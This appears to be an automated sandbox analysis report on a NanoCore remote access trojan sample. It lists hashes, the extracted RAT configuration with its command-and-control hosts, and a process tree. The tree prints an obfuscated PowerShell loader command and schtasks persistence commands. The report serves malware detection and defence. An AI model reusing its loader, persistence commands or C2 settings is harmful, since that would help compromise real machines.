Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/03/2025, 12:54

General

  • Target

    Trisinuated.exe

  • Size

    915KB

  • MD5

    cee57b8b0cea61718f31edbb78e4cf9b

  • SHA1

    9192d57da663cd8dc472963547126d92661b9470

  • SHA256

    01b878cd44f69305765044518167ec69f6307895b4a410c11e6af7013c0142e6

  • SHA512

    0afdd04fed237868a76bd0ddc12f4b44fd34778d83f94658d7a6c49ef864d67595972483c6c8991eb51969a60fef9b166d65fba1f55663c3f2f389fc106e8fd5

  • SSDEEP

    24576:TG+bOPYKWw9ID1zCSlplMDisLI37SK/cksH6aR:aVCwi1Go6DidrZkksHb

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

matic2230.duckdns.org:54385

matic2230.ddnsfree.com:54385

Mutex

5c7e0b9f-f6ea-4396-8dae-43ab0c6b4e6e

Attributes
  • activate_away_mode

    false

  • backup_connection_host

    matic2230.ddnsfree.com

  • backup_dns_server

  • buffer_size

    65538

  • build_time

    2025-01-05T23:34:02.856802636Z

  • bypass_user_account_control

    false

  • bypass_user_account_control_data

    PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+

  • clear_access_control

    false

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    54385

  • default_group

    MATIC

  • enable_debug_mode

    true

  • gc_threshold

    1.0485772e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.0485772e+07

  • mutex

    5c7e0b9f-f6ea-4396-8dae-43ab0c6b4e6e

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    matic2230.duckdns.org

  • primary_dns_server

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    false

  • set_critical_process

    false

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8009

Signatures

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Nanocore family
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Blocklisted process makes network request 11 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Trisinuated.exe
    "C:\Users\Admin\AppData\Local\Temp\Trisinuated.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2464
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle 1 "$Outflung=GC -raw 'C:\Users\Admin\AppData\Local\paraded\Boltr.Exc';$Forpulet=$Outflung.SubString(50153,3);.$Forpulet($Outflung)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4900
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Adds Run key to start application
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:944
        • C:\Windows\SysWOW64\schtasks.exe
          "schtasks.exe" /create /f /tn "SMTP Subsystem" /xml "C:\Users\Admin\AppData\Local\Temp\tmp3014.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:2104
        • C:\Windows\SysWOW64\schtasks.exe
          "schtasks.exe" /create /f /tn "SMTP Subsystem Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp30C0.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:6072
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Program Files (x86)\SMTP Subsystem\smtpss.exe
    1⤵
      PID:1196

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ght3ze2r.uus.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmp3014.tmp

      Filesize

      1KB

      MD5

      77683897ef243c9e0d03d51f65501514

      SHA1

      0f0be106af8dbeb708a01116af6161a51d48857c

      SHA256

      33e541c2e3be2d0a74f2460d1de4913ee636f0838413cde7e3c1b99880584b31

      SHA512

      9ea49d3b0a0d719012a9fc6bd4bcd048f3482e16caf99ae971b42f8bf82a4114f11e64bc7b0966a2473a444016fb27cc6e6c7cb0470cde1d15a6a97cdf050fe6

    • C:\Users\Admin\AppData\Local\Temp\tmp30C0.tmp

      Filesize

      1KB

      MD5

      0339b45ef206f4becc88be0d65e24b9e

      SHA1

      6503a1851f4ccd8c80a31f96bd7ae40d962c9fad

      SHA256

      3d568a47a8944a47f4aed6982755ac7ff7dda469cc1c81c213ecaa5d89de1f83

      SHA512

      c98f4513db34d50510dd986e0d812545c442bd5bef26932032b165759627fab4e00c95fe907ab3416a8a1042bfa77aa516c479f1ff7d1ec2f21ae66df8f72551

    • C:\Users\Admin\AppData\Local\paraded\Boltr.Exc

      Filesize

      49KB

      MD5

      758fcebca9c76199ceb2bee26486ec96

      SHA1

      92fc783b6eb8d9fe272d07d8a088bc7cb373bb06

      SHA256

      ea165a5dc77d79cecac4a203298889d0212be6e912fad514e0c39615d3c1d012

      SHA512

      ebe002bb3f6830d56ca9170de5ae4989d118a5315c1fab0e6fc721f094df4b9317217cd80d86e540d71cad88f8de03bf5fc000ce73bdf9bf32b10379585b3c23

    • C:\Users\Admin\AppData\Local\paraded\Uprofessionel.Gur57

      Filesize

      395KB

      MD5

      ddac47e3ae0bb1ba79535f1b0c873c43

      SHA1

      a5d912a1cbab76d442c14829becee11e854c6e33

      SHA256

      f941eebeffa6ac602ba6c3fd5ba284edf2d51a408712e4df0cb19a8f2c11e385

      SHA512

      c81dc4116f81307576981f0f03b83c05be8b1fc937f6458c0c51de24de4a37a66ed32692537b863d09dafbd2a2c147a949406fad1bfb834c3051b2293cfbb853

    • memory/944-89-0x0000000000D00000-0x0000000001F54000-memory.dmp

      Filesize

      18.3MB

    • memory/944-105-0x0000000022BB0000-0x0000000022BCE000-memory.dmp

      Filesize

      120KB

    • memory/944-104-0x00000000225A0000-0x00000000225AC000-memory.dmp

      Filesize

      48KB

    • memory/944-103-0x0000000021FF0000-0x0000000021FFA000-memory.dmp

      Filesize

      40KB

    • memory/944-106-0x0000000022CF0000-0x0000000022CFA000-memory.dmp

      Filesize

      40KB

    • memory/944-90-0x0000000000D00000-0x0000000001F54000-memory.dmp

      Filesize

      18.3MB

    • memory/944-95-0x0000000021F30000-0x0000000021F3A000-memory.dmp

      Filesize

      40KB

    • memory/944-94-0x00000000220B0000-0x000000002214C000-memory.dmp

      Filesize

      624KB

    • memory/944-93-0x0000000022010000-0x00000000220A2000-memory.dmp

      Filesize

      584KB

    • memory/944-92-0x0000000000D00000-0x0000000000D3A000-memory.dmp

      Filesize

      232KB

    • memory/4900-56-0x0000000007250000-0x000000000725A000-memory.dmp

      Filesize

      40KB

    • memory/4900-64-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-35-0x0000000006200000-0x000000000621A000-memory.dmp

      Filesize

      104KB

    • memory/4900-36-0x0000000006CE0000-0x0000000006D02000-memory.dmp

      Filesize

      136KB

    • memory/4900-37-0x0000000007530000-0x0000000007AD4000-memory.dmp

      Filesize

      5.6MB

    • memory/4900-39-0x0000000008160000-0x00000000087DA000-memory.dmp

      Filesize

      6.5MB

    • memory/4900-40-0x00000000070E0000-0x0000000007112000-memory.dmp

      Filesize

      200KB

    • memory/4900-41-0x000000006FB20000-0x000000006FB6C000-memory.dmp

      Filesize

      304KB

    • memory/4900-51-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-53-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-52-0x0000000007120000-0x000000000713E000-memory.dmp

      Filesize

      120KB

    • memory/4900-54-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-55-0x0000000007150000-0x00000000071F3000-memory.dmp

      Filesize

      652KB

    • memory/4900-33-0x0000000005D10000-0x0000000005D5C000-memory.dmp

      Filesize

      304KB

    • memory/4900-57-0x00000000073B0000-0x00000000073C1000-memory.dmp

      Filesize

      68KB

    • memory/4900-58-0x0000000007400000-0x000000000740E000-memory.dmp

      Filesize

      56KB

    • memory/4900-59-0x0000000007410000-0x0000000007424000-memory.dmp

      Filesize

      80KB

    • memory/4900-60-0x0000000007450000-0x000000000746A000-memory.dmp

      Filesize

      104KB

    • memory/4900-61-0x0000000007440000-0x0000000007448000-memory.dmp

      Filesize

      32KB

    • memory/4900-62-0x00000000074A0000-0x00000000074CA000-memory.dmp

      Filesize

      168KB

    • memory/4900-63-0x00000000074D0000-0x00000000074F4000-memory.dmp

      Filesize

      144KB

    • memory/4900-34-0x0000000006250000-0x00000000062E6000-memory.dmp

      Filesize

      600KB

    • memory/4900-66-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-69-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-68-0x000000007369E000-0x000000007369F000-memory.dmp

      Filesize

      4KB

    • memory/4900-70-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-72-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-71-0x00000000087E0000-0x000000000B095000-memory.dmp

      Filesize

      40.7MB

    • memory/4900-73-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-74-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-75-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-76-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-32-0x0000000005CD0000-0x0000000005CEE000-memory.dmp

      Filesize

      120KB

    • memory/4900-31-0x00000000056D0000-0x0000000005A24000-memory.dmp

      Filesize

      3.3MB

    • memory/4900-19-0x0000000004E10000-0x0000000004E32000-memory.dmp

      Filesize

      136KB

    • memory/4900-21-0x0000000005660000-0x00000000056C6000-memory.dmp

      Filesize

      408KB

    • memory/4900-20-0x0000000004F30000-0x0000000004F96000-memory.dmp

      Filesize

      408KB

    • memory/4900-18-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-17-0x0000000004FB0000-0x00000000055D8000-memory.dmp

      Filesize

      6.2MB

    • memory/4900-16-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-15-0x0000000002710000-0x0000000002746000-memory.dmp

      Filesize

      216KB

    • memory/4900-14-0x000000007369E000-0x000000007369F000-memory.dmp

      Filesize

      4KB

    • memory/4900-77-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB

    • memory/4900-79-0x0000000073690000-0x0000000073E40000-memory.dmp

      Filesize

      7.7MB